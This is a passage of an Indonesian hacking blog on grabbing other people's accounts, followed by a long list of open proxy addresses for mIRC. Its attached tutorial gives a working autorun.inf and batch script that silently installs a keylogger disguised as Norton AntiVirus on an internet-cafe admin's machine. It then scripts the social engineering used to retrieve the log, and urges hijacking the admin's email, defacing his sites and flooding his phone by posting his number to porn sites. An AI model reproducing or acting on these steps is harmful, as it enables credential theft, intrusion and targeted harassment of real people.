tombol submit, opera secara default akan meminta konfirmasi kepada anda
apakah anda ingin browser menyimpan id dan password anda atau tidak. Lagi dan
lagi… kebanyakan netter ceroboh, mereka cenderung untuk memilih opsi “YES”.
Lalu?? Orang lain yang kemudian menggunakan browser itu bisa melihat
situs apa saja yang telah diakses oleh user, arahkan browser ke situs
tersebut, letakkan cursor pada form isian user name, tekan [ALT]+[ENTER] dan
BOOOMM!!!! Kenapa?? Jangan kaget dulu!! Hehehe.. form login akan otomatis
terisi dengan user name korban lengkap dengan passwordnya ;D (It’s fun
enough.. ;)
Ini hanya sebagian kecil contoh, jelajahi fitur-firtur browser lain!
[9]. Googling
Google.com. Banyak sudah situs yang runtuh, password dan nomor – nomor kartu
kredit yang dicuri akibat dari ulah orang yang menyalahgunaan kesaktiannya ;)
Dahulu, hal ini mudah dilakukan.Hanya dengan mengetikkan kata kunci tertentu
yang berkaitan dengan user name dan password, anda bisa memanen ratusan
password user melalui google. Tapi sekarang tampaknya anda harus gigit jari
jika menggunakan cara diatas ;D
Jangan sedih dulu karena Google baru saja menelurkan produk barunya, yaitu
Google Code Search. Ancaman baru mulai timbul, “si pintar” ini kini dapat
meng-crawl hingga kepada archive file yang berada di public directory web
server. Hati-hati yang punya kebiasaan untuk menyimpan informasi penting di
dalamnya (password, dan info berharga lainnya) Sebaiknya mulai sekarang
kebiasaan itu dihilangkan. Selalu proteksi folder-folder yang sensitif agar
situs anda bisa hidup lebih lama. Kalo nggak… yach.. tunggu ajah ada orang
yang memanfaatkan produk baru google ini untuk mengeruk informasi sensitif
dari web server anda. dan jika itu sudah terjadi… maka bersiaplah.. “taman
bermain” anda akan diambil alih olehnya..
0 [0XFFFF000] Penutup
Wew… ada banyak cara bukan untuk mendapatkan account orang lain?? So, selalu
berhati-hatilah. Waspada selalu saat berada di tempat umum, bahkan saat berada
di komputer pribadi anda sekalipun karena bisa jadi teman anda atau siapapun
yang meminjam komputer anda memiliki tujuan yang kurang baik.
Sekian, semoga bermanfaat dan bisa menambah pengetahuan anda :)

- phrack[dot]org
- spyrozone[dot]tk
- google[dot]com
0 [0XFFFFFF0] Shoutz:
- Vindika Anastasya & Vermouth Anastasya.. The deepest Love I’v ever had.. :)
- All Crack Sky Staff! Hey there.. :)
- ECHOERS, SECTOR-S (wake up guys!!)
- EVILratE, PushMOV, MyzTX, Dr3, Lun4, Clust3r, RX-259, RX-290, RX-313, RX-147
- Mr.Rio, PramayunTA, Alfian, Andien, Taurista, Bachtiar, EQ, WisNU, Arman,
Dani, Rara, Icha, Prita, Vivi, Nabiel, Tika, Kemas, Bomy, Arbi, Tunjung,
Krishna, Rizki..
- All my friend in SMAN 2 SIDOARJO
- All member of www.spyrozone.tk .. stay Alert in SPYRO ZONE!!
0 [0XFFFFFFF] Attachment:
Berikut adalah contoh social engineering sederhana. Saya ambil dari tulisan
saya yang berjudul “Pembalasan Untuk Sang Admin”-www.spyrozone.tk. Enjoy… ;)
———————————-<Attachment>——————————–
Pembalasan Untuk Sang Admin – SOcial Engineering
1. Introduction
Semakin paranoidnya para admin belakangan ini menyebabkan banyak pengguan jasa
layanan internet cafe (warnet) menjadi kurang nyaman. Restriction (pembatasan)
disana-sini (walaupun semua itu dilakukan bukan tanpa alasan) menjadi salah
satu inspirasi bagi banyak orang untuk mencari-cari cara menerobos segala
keterbatasan itu dan saling men-share pengetahuan mereka. Berbagai jenis
exploit pun dibedah, didiskusikan dan dikemas menjadi artikel untuk para
newbie.
Sejenak para newbie bisa tertawa puas, berjaya, senyum-senyum sendiri sampai
tak jarang lupa diri :P Namun semua itu tentunya tidak bertahan lama. Admin
menjadi semakn pintar. Fasilitas Floppy drive dan CD room drive dihapus dan
melarang user untuk melakukan segala bentuk transfer file dari media
penyimpanan sementara (disket, cd, flashdisk) kecuali melalui server terlebih
dahulu. Ini merupakan fenomena yang akhir-akhir ini bisa kita temui dengan
mudah di berbagai Internet cafe. Admin mulai rajin mengupdate path sehingga
exploit-exploit yang dulu dibangga-banggakan oleh kaum newbie menjadi
“rongsokan” tak berguna.
Sekarang, mari kita bangunkan sang admin dari mimpi indahnya untuk menunjukkan
bahwa menjadi paranoid itu adakalanya tidak baik dan tidak ada system yang
100% secure.
2. Serangan pertama
Kita akan menjadi seorang “agen mata-mata” (hehehe.. gw pake istilah ini biar
ente merasa agak sedikit keren) yang akan merekam segala aktivitas sang admin.
Tujuannya.. banyak! dan salah satunya seperti hal yang banyak diinginkan
orang… mendapatkan password sang admin. Partner kita kali ini adalah
navw32.exe, sebuah keyloger dengan icon Norton AntiVirus yang bisa kamu
dapatkan suka-suka dengan harga cuma-cuma di halaman member www.spyrozone.tk
kategori Keyloger. Setelah kamu download keyloger tersebut, ikuti langkah -
langkah berikut:
—[1 Bukalah Notepad kemudian ketik baris script berikut:
[autorun]
open=nav.bat
Klik [file][save] kemudian pada box save as type, pilih All Files dan pada
form isian name beri nama Autorun.inf lalu klik tombol [save].
—[2 Buka lembar baru pada notepad dengan klik menu [file] [new] lalu ketik
script berikut:
@echo off
echo Norton Antivirus 2006
echo Scanning disk drive…
echo Please wait…
copy navw32.exe %windir%\navw32.exe
call %windir%\navw32.exe
echo.
echo.
echo.
echo.
echo.
echo.
echo.
echo. Scanning complette! No virus threat detected!
echo.
cls
Klik [file][save] kemudian pada box save as type, pilih All Files dan pada
form isian name beri nama nav.bat lalu klik tombol [save].
—[3. Persiapkan beberapa file microsoft word documents (bisa diganti dengan
file lain) sebagai tipuan/alasan untuk di transfer. Semakin banyak file,
semakin baik karena file keyloger kamu akan semakin tersamarkan.
—[4. Persiapkan sebuah cd kosong (bekas juga boleh) lalu bakar semua file
diatas (autorun.inf, nav.bat, navw32.exe dan file-file tipuan) kedalam CD.
Sekarang pergilah ke warnet tempat sang admin berkuasa. Bersikaplah seperti
biasa dan jangan gugup selayaknya para koruptor yang sering nampang di
satasion-stasion TI-PI tanpa rasa malu. Setelah kamu login ke billing komputer
user, datangi sang admin. Katakan pada beliau, “Mas/mbak/om/tante/, mau
transfer file dari cd ini. Nama filenya blablabla tolong dikirim ke komputer
nomor blablabla.”
Begitu CD dimasukkan, saat itulah terjadi sebuah fenomena berikut:
Komputer akan memproses file autorun.inf secara otomatis —> file autorun.inf
akan memproses file nav.bat —> file nav.bat akan menduplikasi file
navw32.exe ke dalam directory windows dan mengaktivkannya —> Keyloger telah
terinstall, hasil rekamannya akan tersimpan di directory yang sama dengan nama
navw32.dll beratribut hidden.
Perlu diketahui bahwa keyloger ini tidak akan menampilkan kotak dialog dalam
bentuk apapun! So, nggak usah khawatir bakal ketahuan ;)
Sekarang, kamu bisa pulang dengan wajah tanpa dosa dan mungkin (lagi – lagi)
kamu bakalan senyum-senyum sendiri sambil mengelus-elus jenggot kayak habis
menang togel.
Lalu bagaimana cara mengambil file hasil rekaman keyloger di directory windows
sang admin? Ikuti langkah-langkah pada serangan kedua.
3. Serangan kedua
Dua hari Kemudian, datanglah ke warnet itu lagi. Bertingkahlakulah secara
wajar dan beraktivitas seperti layaknya user biasa. Setelah selesai
berinternet ria, datangi sang admin, bayarlah biaya browsing seperti biasa
lalu dengan wajah sangat-sangat memelas seperti pengemis di jalanan :) katakan
pada beliau,”Mas/mbak/om/tante/, komputer saya bermasalah neeh. Menurut pesan
Error yang muncul, file navw32.dll yang berada di directory windows hilang.
File tersebut beratribut hidden. Tolong doong copykan dari komputer ini.
Kebetulan versi windowsnya sama dengan komputer saya..”
Tentu saja biasanya sang admin dengan sangat senang hati akan membantu kamu.
Dengan suka rela dan penuh kesadaran beliau akan mengaktifkan opsi Show All
files pada Folder Options dan mengcopy-kan file navw32.dll dari directory
windows tanpa menyadari bahwa file tersebut bukan file system, namun file
hasil rekaman keyloger.
Berikan disket/cd/flashdisk mu dan setelah file tersebut tersimpan, ucapkan
beribu terima kasih lalu pulanglah ke rumah. Buka file tersebut di rumah. Klik
2x pada file lalu ketika muncul kotak dialog open with, klik opsi select
program from a list dan pilih notepad pada daftar program yang ditampilkan.
Sekarang tentunya kamu bisa leluasa membaca rekaman aktivitas sang admin. Cari
password emailnya dan kamu bisa menuju pada hari pembalasan.
4. Hari Pembalasan
Pilih hari yang tepat, misalnya malam jum’at kliwon dimana sang admin mungkin
sedang terlelap di rumahnya. Nyalakan komputermu dan connectlah ke Internet.
Namun ada baiknya kamu lakukan hal ini di warnet agar lebih aman. Carilah
warnet yang buka 24 jam.
Berbekal hasil rekaman keyloger tadi, loginlah ke account email sang admin.
Setelah puas menjelajahi emailnya, subscriblah ke berbagai mailing list besar
dengan email tersebut. Subscribe sebanyak-banyaknya.
Hohoho.. lalu apa lagi nich?? Kalau sang admin punya blog/website pribadi/
account Friendster.. tentu kamu dengan mudah mendapatkan semua password itu
dengan fasilitas forgot password. Kebanyakan penyedia layanan seperti itu akan
mengirimkan password via email. So, setelah dapat semuanya… heheh… DEFACE
ajah ;) Tapi inget lho, halaman lama harus tetap di backup dan jangan merubah
password apapun!!
Ada ide yang sedikit lebih sadis (ini cuma ide lho.. sebaiknya jangan
dilakukan deech..). Daftarkan emailnya ke berbagai situs – situs porno dan
postinglah sebuah pesan singkat, memikat dan “mematikan”. Berikut contohnya
jika milis tersebut berbahasa Indonesia:
Dear all..
gwe lagi nafsu berat neeh, burun telepon gwe doong sekarang juga!! neeh no
telp gwe: 021-blablabla (masukkan no telp sang admin)
gwe tunggu 24 jam lho!!
Atau terserah kamu laah.. saya rasa kamu lebih pintar dalam memilih kata- kata
yang yahuud!! ;D
Maka bisa dipastikan malam itu akan menjadi malam jumat kliwon paling
mengerikan bagi sang admin, lebih mengerikan daripada film-film horor manapun!
Telepon rumahnya akan berdering tanpa henti dibanjiri oleh telepon dari dalam
dan luar negeri dengan maksud pembicaraan yang sudah bisa ditebak apa
maksudnya ;D
Keesokan harinya, setelah menghadapi malam paling mengerikan itu, sang admin
akan kaget 1/2 hidup 1/2 mati mendapati inboxnya penuh dengan email-email dari
berbagai milis yang beliau sendiri tidak merasa pernah bergabung dengan
milis-milis itu. Dan bisa jadi, saat beliau sedang sibuk Unsubcribe dari
milis-milis tersebut, telepon rumahnya masih terus – terusan menjerit – jerit
dengan jeritan indah :D
5. Pencegahan
Jika kamu adalah admin yang tidak mau mengalami nasib seperti diatas, maka
setiap kamu menerima CD dari siapapun..
1. Buka windows explorer
2. Tekan-tahan tombol shift sambil memasukkan CD kedalam CD Room dRive.
3. Setelah CD masuk,tetap tekan tombol shift sampai kira-kira 25 detik.Setelah
itu kamu bisa melepas tombol shift dan mengaksesnya melalui panel sebelah kiri
windows Explorer. Klik pada area folder tree, jangan pada daftar drive sebelah
kanan karena fitur autorun akan aktif.
Dan ingat, jangan terlalu percaya pada siapapun! Ada begitu banyak orang tidak
terduga di sekitar anda!!
6. Penutup
—[+ Kesimpulan
Bisa kita bayangkan sendiri betapa kelalaian sepele bisa menimbulkan dampak
yang sangat berbahaya. Ini hanya merupakan contoh Social Engineering sederhana
namun dampaknya.. bisa anda bayangkan sendiri ;)
Cara diatas sudah saya coba pada 4 buah warnet di sidoarjo dan hasilnya saya
berhasil mendapatkan catatan aktivitas sang admin (password etc..). Tapi untuk
penerapan “PEMBALASAN” tentu saya tidak melakukan hal sekejam itu ;P

Published in: on at 8:21 am Leave a Comment

Proxy MIRC

202.93.253.33:80
202.96.108.37:8888
202.96.246.44:3128
202.96.80.58:8080
202.96.80.59:80
202.96.80.59:8080
202.97.254.65:80
202.98.116.69:80
202.98.116.73:80
202.98.158.130:3128
202.98.177.165:80
202.99.126.123:80
202.99.188.201:80
202.99.217.54:80
202.99.225.45:8080
202.99.57.126:80
203.102.215.227:80
203.108.113.194:80
203.115.23.82:80
203.115.234.98:8890
203.130.192.162:80
203.148.66.242:3128
203.151.40.4:80
203.155.16.130:80
203.155.16.132:80
203.155.16.139:80
203.155.16.145:80
203.155.172.60:80
203.155.206.161:80
203.162.20.117:8080
203.162.20.120:80
203.162.20.122:80
203.162.20.123:80
203.162.20.125:80
203.162.52.70:80
203.162.52.84:80
203.192.39.82:8000
203.197.166.198:80
203.199.37.6:80
203.200.75.165:80
203.22.154.4:80
203.227.45.253:8080
203.235.26.1:80
203.36.212.193:80
203.37.71.14:80
203.39.206.3:80
203.46.239.97:80
203.52.178.228:80
203.53.209.66:80
203.53.226.2:80
203.53.226.2:8080
203.58.162.36:80
203.90.81.84:80
203.93.218.65:80
203.94.243.1:80
203.94.243.1:8080
203186246021.ctinets.com:8080
204.184.137.1:80
204.184.51.245:8080
204.191.243.1:80
204.196.123.56:80
204.196.215.9:80
204.57.178.130:8000
204.66.98.17:80
205.140.53.131:8080
205.162.245.117:80
205.200.3.17:80
205.200.3.17:8080
205.250.90.2:80
206.105.71.2:80
206.28.59.106:80
206.49.33.250:8080
206.74.121.69:80
207.197.77.196:8080
207.199.5.153:80
207.20.169.231:8080
207.232.181.253:8080
207.35.195.98:8080
207.67.226.110:8000
207.74.179.254:80
208.2.190.1:80
208.20.251.5:8080
208.233.33.11:80
208.32.23.7:8080
208.44.144.222:80
208.9.78.77:80
209.11.103.129:80
209.11.25.1:80
209.125.249.29:80
209.142.168.7:80
209.187.235.30:80
209.204.107.30:80
209.248.176.186.nw.nuvox.net:8080
209.3.144.105:80
209.3.144.105:8080
209.31.16.194:80
209.31.16.194:8080
209.69.85.5:80
209.7.88.130:8000
209.73.92.36:8080
209.8.101.130:80
209.80.145.160:80
209.83.100.104:80
209.88.144.24:8080
209.88.97.81:80
209.89.112.131:80
210.0.198.9:80
210.0.198.9:8080
210.118.50.42:8080
210.12.103.24:3128
210.12.103.51:3128
210.145.17.38:8080
210.145.17.38:8280
210.15.46.45:80
210.163.167.162:80
210.166.174.123:80
210.17.43.3:80
210.175.125.34:80
210.175.52.100:8080
210.176.230.29:80
210.178.187.250:80
210.181.1.173:80
210.181.4.173:80
210.181.4.173:8080
210.190.110.13:80
210.237.164.117:80
210.242.164.150:80
210.242.172.250:80
210.243.52.38:80
210.254.225.194:80
210.254.8.52:8000
210.255.168.50:80
210.52.5.132:80
210.72.121.125:8080
210.72.33.194:80
210.82.155.193:80
210.83.199.70:80
210.83.202.249:80
210.90.3.43:8080
210.97.122.60:80
211.0.113.202:80
211.0.82.51:80
211.101.142.90:3128
211.101.151.163:8000
211.101.196.194:8080
211.101.196.2:8888
211.102.2.206:8080
211.114.59.97:8080
211.120.17.49:80
211.125.53.34:8080
211.152.194.72:8080
211.152.194.85:8080
211.155.243.99:80
211.162.108.49:80
211.167.63.34:8080
211.17.150.163:80
211.20.101.50:3128
211.20.140.3:80
211.20.195.43:3128
211.20.195.43:80
211.20.195.43:8080
211.20.240.235:80
211.20.68.74:80
211.21.66.190:8080
211.21.78.218:3128
211.236.159.134:8080
211.236.159.150:8080
211.250.191.2:8080
211.251.156.129:80
211.34.192.250:80
211.35.78.36:80
211.35.78.36:8080
211.57.46.126:80
211.75.40.186:80
211.75.54.10:3128
211.76.98.230:8080
211.90.175.13:80
211.90.223.139:3128
211.91.134.18:80
211.91.14.44:80
211.91.218.8:80
211.91.23.211:3128
211.93.34.201:80
211.99.113.208:80
211.99.179.60:80
211.99.42.203:3128
212-133-166-61.sbs.net.tr:8080
212.0.120.252:8080
212.0.215.226:3128
212.100.101.104:80
212.125.72.212:80
212.15.17.210:8080
212.154.139.210:8080
212.155.212.242:80
212.244.182.67:80
212.35.243.2:8080
212.38.133.69:80
212.60.65.206:8080
212.77.192.11:80
212.77.192.12:80
212.77.192.13:80
212.77.192.17:80
212.80.166.163:80
212.80.166.163:8080
212.97.164.130:8080
212.98.254.4:80
213.176.112.10:8080
213.176.28.6:80
213.194.110.199:80
213.194.110.199:8080
213.29.92.10:3128
213.32.53.5:80
213.8.90.61:80
216-41-130-44.semo.net:8080
216.101.117.161:8000
216.101.117.162:8000
216.112.227.130:80
216.112.227.130:8080
216.12.29.195:80
216.124.205.2:80
216.145.227.164:80
216.149.208.2:3128
216.198.91.163.cypresscom.net:80
216.208.168.2:80
216.235.32.126:80
216.34.214.221:80
216.72.155.252:80
216.72.63.198:8080
217-5-32-212.winkwll.ll.ftech.net:80
217.144.7.22:8080
217.173.98.54:80
217.57.160.156:80
217.89.43.98:8080
218.2.131.254:8080
mail.jkt.darmahenwa.co.id:80
mail.knpoil.ru:3128
mail.koibuchi.ac.jp:80
mail.komvux.partille.se:80
mail.lintas.com.vn:80
mail.mascoutah19.k12.il.us:80
mail.neosho.cc.ks.us:80
mail.pazko.com.pa:80
mail.pintobasto.pt:80
mail.redsos.com.ar:80
mail.riddellsports.com:80
mail.sd242.k12.id.us:80
mail.tseinc.net:80
mail.unibase.com.co:80
mail.upsperu.com:80
mail.usclcargo.com.hk:80
mail.voltex.co.za:8080
mail1.found.co.jp:80
maillist.rte.ie:80
mailserver.aoreed.com:80
maq241i.advance.com.ar:80
mar-srv2.cosemar.com.ar:80
mars.rss.gov.jo:8080
mcsproxy.marion.k12.in.us:8080
mh.sci-tennis.net:80
mikeja.lnk.telstra.net:80
musalemnt.notariamusalem.cl:80
n226.n202-178-245-0-24.ethome.net.tw:80
n228.n202-178-245-0-24.ethome.net.tw:80
n230.n202-178-245-0-24.ethome.net.tw:80
normandie.fr.clara.net:8080
normandintransit.com:80
notes.chs.itesm.mx:8080
ns.21-zentsu.com:80
ns.axiome.co.jp:80
ns.central-gc.co.jp:80
ns.chelsea.co.jp:80
ns.chuyodenki.co.jp:8080
ns.cyberlinks-jp.com:80
ns.dainichi-el.co.jp:80
ns.factornet.co.jp:80
ns.itac-ao.co.jp:80
ns.jukenkogyo.co.jp:80
ns.kagaku-k.co.jp:80
ns.kfcs.co.jp:80
ns.komzg.co.jp:80
ns.merito.co.jp:80
ns.nitto-kogyo.co.jp:80
ns.proserv.co.jp:80
ns.reuse.or.jp:80
ns.shirakabaso.com:80
ns.sumiyosi.co.jp:80
ns.taiyoshoji.co.jp:80
ns.tew-j.com:80
ns.toyoriko.co.jp:80
ns.ulcoat.co.jp:8080
ns1.machida-yamasaki-j.ed.jp:8080
ns1.nissinhkltd.com.hk:80
ns1.sumatralink.com:8080
ns2.adacomp.net:80
ns2.cdl.ne.jp:80
ns2.e.konodai-gs.ac.jp:80
ns2.rpa.ca:80
nt-server.trsinc.org:80
nt1public.mcnet.ch:8080
ntserv1.neffhome.com:80
ntserver1.wcva.org.uk:80
ny-niagara3a-153.buf.adelphia.net:3128
orange.com.do:8080
order.iss-jpn.co.jp:80
p61n3.ruraltel.net:8000
pandora.teimes.gr:8080
parkfi.lnk.telstra.net:80
pbc.edu.gd:80
pc1.hermann-szhely.sulinet.hu:80
pc188.krebank.main-link.net:80
pc2.setoimanamoihcim-unet.ocn.ne.jp:80
pmpnet.com:8080
pops.pics.enc.or.jp:8080
pops.pics.enc.or.jp:8180
pops.pics.enc.or.jp:8280
ppp-173-209.attglobal.es:80
proxy.att.co.kr:8080
proxy.au.edu.tw:8080
proxy.bashedu.ru:8080
proxy.bnet.net.tr:80
proxy.bnet.net.tr:8080
proxy.cablenet.net.ar:8080
proxy.dmn.com.au:8080
proxy.ethome.net.tw:80
proxy.fit.edu.tw:3128
proxy.gundakercommercial.com:80
proxy.hutch.com.au:80
proxy.ideaflood.com:8080
proxy.parlacen.org.gt:80
proxy.urim.knet.co.il:80
proxy2.citechco.net:8000
proxy200.ctc.edu:8080
r200-40-145-4.adinet.com.uy:80
r5m210.cybercable.tm.fr:80
raauk.com:8000
ramat-gan.k12.il:8080
ramat-gan.muni.il:8080
ramses.seeweb.it:80
relay.bfinv.de:80
richnt.richmond-utcoll.ac.uk:80
rjcart2.lnk.telstra.net:3128
router.thecommercialagency.com:80
s216-232-63-138.bc.hsia.telus.net:80
sah2.ye:8080
sccunx.southern.wvnet.edu:8080
sdsl-64-7-12-211.dsl.chi.megapath.net:80
sealperu.com:80
server.apaczai-tuj.sulinet.hu:80
server.beaudrymc.com:80
server.erkel-bp.sulinet.hu:80
server.feketei-ajka.sulinet.hu:80
server.herman-szhely.sulinet.hu:80
server.szlovak-bcs.sulinet.hu:80
server1.concordia.com.ar:80
server1.waycom.com.ar:80
server3.telekom.hr:80
servermain.3i.com.pe:80
shad.shad.ca:80
siebee.lnk.telstra.net:80
silainiai.failanas.lt:8080
soafy.desiin.com.au:80
sthweb1.helanta.sh:8080
suzysdsl-5-0-0-315.rback0.milw.wi.voyager.net:8000
sv.cat.mx:80
sv1.ura.co.jp:80
swa-bry-s0-0.metalink.net:80
sweeper.octel-starreon.com:80
syd-56k-006.tpgi.com.au:80
syd13-56k-056.tpgi.com.au:80
syr-24-58-251-32.twcny.rr.com:3128
syr-24-92-233-252.twcny.rr.com:80
thehipjobs.com:8000
thepla.lnk.telstra.net:80
trojan.gjsd.k12.pa.us:80
tt.tech-t.co.jp:80
twiggp.lnk.telstra.net:80
twobee.truweal.co.jp:80
ubcom-cz.customer.vol.cz:3128
ud-pool16-242.voyageur.ca:80
users.relax.com.au:81
usshood.cstjean.qc.ca:8080
vaio.life.com.br:80
viento.coopsar.com.ar:80
virtualorchard.net:8000
w002.z216112223.lax-ca.dsl.cnc.net:80
w036.z066088093.nyc-ny.dsl.cnc.net:8080
w077.z064002255.chi-il.dsl.cnc.net:8080
w099.z206111095.lax-ca.dsl.cnc.net:80
w223.z066088081.nyc-ny.dsl.cnc.net:80
waroona.wa.edu.au:80
web.tonet.ne.jp:80
webftp.grandhaventribune.com:8000
webserver.covington.k12.va.us:80
wfj123.bentonrea.com:80
wiley231h091.roadrunner.nf.net:3128
will.eyecatcher.co.jp:80
willsc.lnk.telstra.net:80
worley.neo.rr.com:80
www.celnave.pt:80
www.childrenpalace.edu.vn:3128
www.escorts.co.jp:8000
www.harlemschoolofthearts.org:80
www.ices.fr:8000
www.jcn.co.jp:80

12.33.32.5:80
12.34.48.126:80
12.34.48.126:8080
12.34.48.129:80
12.34.48.129:8080
129-222-87-207.accnorwalk.com:8000
131.107.67.50:80
131.107.67.8:80
131.165.109.34:80
13gym-patras.ach.sch.gr:80
140.122.55.1:80
142.46.59.198:80
148.206.101.5:80
148.74.255.104:80
151.4.110.131:8080
157.91.107.42:8080
157.91.114.11:80
157.91.75.60:8080
163.29.23.99:80
164.41.2.21:80
164.58.18.25:80
164.58.28.250:80
168.143.113.13:80
168.243.136.85:80
168.243.149.225:80
193.137.44.157:80
193.14.162.162:8000
193.15.176.34:8000
193.158.59.193:80
193.179.240.133:80
193.179.64.26:80
193.188.101.146:80
193.188.95.146:8080
193.188.95.178:8080
193.193.153.130:80
193.197.193.161:80
193.227.168.211:80
193.251.164.214:8080
193.49.167.147:80
193.81.0.3:80
193.95.25.22:80
193.95.25.22:8080
193.95.88.90:80
194.106.137.20:80
194.106.168.237:8080
194.165.8.66:80
194.204.236.195:8080
194.254.30.125:8080
194.65.77.1:80
194.78.144.179:8080
194.79.109.46:8080
194.79.113.242:80
194.79.171.67:80
195.126.161.198:80
195.13.253.2:8080
195.130.88.40:80
195.146.49.17:80
195.171.209.195:8080
195.18.91.10:80
195.195.117.6:80
195.219.52.5:80
195.22.169.129:80
195.223.151.7:80
195.229.46.103:80
195.239.30.141:3128
195.239.30.141:80
195.243.124.114:80
195.39.151.39:80
195.39.65.194:80
195.39.66.30:80
195.47.14.193:80
195.53.242.35:80
195.53.255.242:80
195.53.49.197:80
195.57.16.13:80
195.59.64.130:8080
195.6.243.221:3128
195.68.114.9:8080
196.14.1.240:80
196.14.1.243:3128
196.14.1.243:80
196.40.43.34:80
196.40.9.146:80
196.6.242.170:80
196.9.209.101:80
196.9.209.127:80
196.9.209.30:80
196.9.209.35:80
196.9.209.66:80
198.107.179.2:8080
198.173.9.131:80
1sek1-kalam.mes.sch.gr:80
2.magicbird.co.jp:80
200-171-5-10.dsl.telesp.net.br:80
200-204-125-170.dsl.telesp.net.br:80
200-204-148-171.dsl.telesp.net.br:80
200-204-171-154.dsl.telesp.net.br:80
200-204-75-246.dsl.telesp.net.br:80
200-205-193-228.customer.telesp.net.br:80
200-206-142-41.dsl.telesp.net.br:80
200-207-128-8.dsl.telesp.net.br:80
200.12.224.110:80
200.12.233.32:80
200.12.233.35:80
200.13.0.89:8080
200.13.199.35:80
200.135.246.2:80
200.181.57.66:80
200.183.114.15:80
200.183.114.20:80
200.190.39.82:80
200.193.46.18:80
200.193.46.18:8080
200.195.52.193:80
200.199.249.66:80
200.199.249.66:8080
200.201.144.146.clientes.rjo.ifxnetworks.com.br:80
200.202.227.1:80
200.203.159.2:80
200.214.173.7:80
200.222.112.131:80
200.23.209.209:80
200.23.209.209:8080
200.24.214.132:80
200.24.4.235:80
200.24.91.40:3128
200.241.20.126:80
200.248.156.37:80
200.27.182.30:80
200.27.182.30:8080
200.27.233.12:8080
200.3.224.231:80
200.30.47.70:80
200.30.47.70:8080
200.31.46.130:80
200.35.86.165:80
200.35.89.146:8080
200.37.247.242:8080
200.46.109.85:8080
200.48.102.68:80
200.50.0.246:6588
200.51.156.93:80
200.52.4.82:80
200.6.42.15:80
200.68.135.106:8080
200.75.211.35:80
201230.rad.tsai.es:80
202.100.249.40:3128
202.100.3.195:8080
202.100.87.5:8080
202.101.10.231:3128
202.101.106.241:80
202.101.113.248:80
202.101.231.213:80
202.102.148.244:3128
202.102.157.78:3128
202.102.240.74:80
202.103.11.82:3128
202.103.172.59:3128
202.103.250.36:3128
202.103.37.101:3128
202.104.156.114:3128
202.104.176.209:8080
202.105.10.193:8080
202.105.114.126:80
202.105.119.198:80
202.106.139.88:80
202.107.212.12:80
202.107.219.6:80
202.107.222.141:3128
202.108.119.181:80
202.108.191.77:3128
202.108.95.107:3128
202.108.95.107:8080
202.109.126.12:3128
202.110.112.42:3128
202.110.204.18:80
202.110.206.136:80
202.110.220.14:80
202.110.225.196:80
202.110.49.62:8080
202.110.59.141:80
202.110.59.141:8080
202.110.59.142:8080
202.111.170.60:8080
202.111.179.202:80
202.111.183.138:80
202.129.20.8:80
202.148.3.65:8080
202.150.89.18:80
202.155.107.150:3128
202.155.57.180:80
202.158.48.10:80
202.164.175.22:3128
202.186.101.151:8080
202.28.68.18:80
202.28.68.18:8080
202.28.95.1:80
202.28.95.5:80
202.39.21.122:80
202.41.82.9:8080
202.46.80.22:80
202.5.168.10:80
202.57.140.6:3128
202.81.246.7:80
202.85.177.223:80
202.9.136.40:80
202.9.136.40:8080
202.93.253.163:80
202.93.253.33:80

24.25.225.99:80
2514-99.pc5.toua-u.ac.jp:8080
2gym-serron.ser.sch.gr:80
2tee-lamias.fth.sch.gr:80
3gym-aigiou.ach.sch.gr:80
4lyk-tripol.ark.sch.gr:80
61.128.176.77:80
61.129.72.219:8080
61.131.50.35:3128
61.132.1.195:3128
61.132.4.116:8080
61.133.115.44:8080
61.133.63.129:80
61.135.134.144:80
61.138.130.229:8080
61.138.182.138:8000
61.142.169.98:80
61.144.191.83:80
61.156.28.184:8080
61.156.8.23:8080
62.159.155.209:80
62.160.188.1:80
62.161.141.23:80
62.168.2.186:3128
62.84.74.54:80
63.101.8.2:80
63.117.185.195:80
63.229.160.11:80
63.83.252.3:80
63.94.4.215:8080
64-35-136-221.gohighspeed.com:80
64-35-136-221.gohighspeed.com:8080
64-48-186-225.customer.algx.net:80
64-93-37-226.client.dsl.net:80
64.123.185.66:80
64.166.74.5:8080
64.19.28.50.nw.nuvox.net:8080
64.3.180.120:3128
64.5.220.82:80
64.76.126.99:80
66.28.153.38:8080
66.64.3.154:80
6gym-kalam.mes.sch.gr:80
6lyk-trikal.tri.sch.gr:80
74.85.149.210.economy.2iij.net:8080
93warp113.newtel.com:80
9gym-irakl.ira.sch.gr:80
a002sm01.kimai-net.gr.jp:80
a200042132021.rev.prima.com.ar:80
a67.rm-promo.com:80
accomo.lnk.telstra.net:80
ado.com.mx:80
adsl-63-194-25-137.dsl.lsan03.pacbell.net:80
adsl-63-198-132-140.dsl.lsan03.pacbell.net:3128
adsl-64-123-93-3.dsl.snantx.swbell.net:8080
adsl-66-109-230-136.dejazzd.com:80
adslb11.cofs.net:80
advance40-34.infovia.com.ar:80
advance40-37.infovia.com.ar:80
alexandros.grevenanet.gr:80
amber.lostsouls.org:80
ancgua07.anacafe.org:80
andrew7.lnk.telstra.net:80
as7000_1b.sfn.co.jp:8080
atoulouse-201-2-1-35.abo.wanadoo.fr:80
awhina.rnzfb.org.nz:80
awproxy.chfn.org.tw:8080
barbamama.ican.at:80
bgm-24-94-39-152.stny.rr.com:8080
bloomp.lnk.telstra.net:80
bmihms-s.ozemail.com.au:80
bpace-vpn.newnanutilities.org:80
brown-6.co.brown.wi.us:80
bwcapital.com:8080
c207.183.52.203.satellite.bigpond.com:80
cacheflow2.bravo.net:80
cala.dmv.com:80
candleworks.natel.net:8000
ce.ethome.net.tw:80
ce500.supercable.net.ve:80
ce500.supercable.net.ve:8080
chi-29-b-178.chi.dsl.cerfnet.com:80
chsa1.chs.itesm.mx:8080
cl02.cmdb.co.jp:8000
clhdsl.csolve.net:80
client-d.visual-park.co.jp:80
cm087.177.234.24.lvcm.com:3128
cncldns1srv.council.net:80
conatel1.conatel.gov.ve:80
cp8696-a.dbsch1.nb.nl.home.com:80
csm.qc.ca:8000
customer-148-223-48-114.uninet.net.mx:80
customer-148-235-65-65.uninet.net.mx:80
cyberlinux.cyberline.com.pe:80
dacotr.lnk.telstra.net:80
dale.ri.ac.uk:80
dec.beinan-chs.yonago.tottori.jp:80
development.hc-vita.com:80
dhcp246212.columbus.rr.com:80
dns-sv.alpsgiken.co.jp:8080
dns.fains.co.jp:8080
dns.hartwell.co.jp:8080
dns.noda-tax.gr.jp:80
dns.ramat-gan.gov.il:8080
dns.ramat-gan.k12.il:8080
dns.takasakicci.or.jp:80
dns1.daiken-c.co.jp:80
dns1.gametech.co.jp:80
dns1.kagawabank.co.jp:80
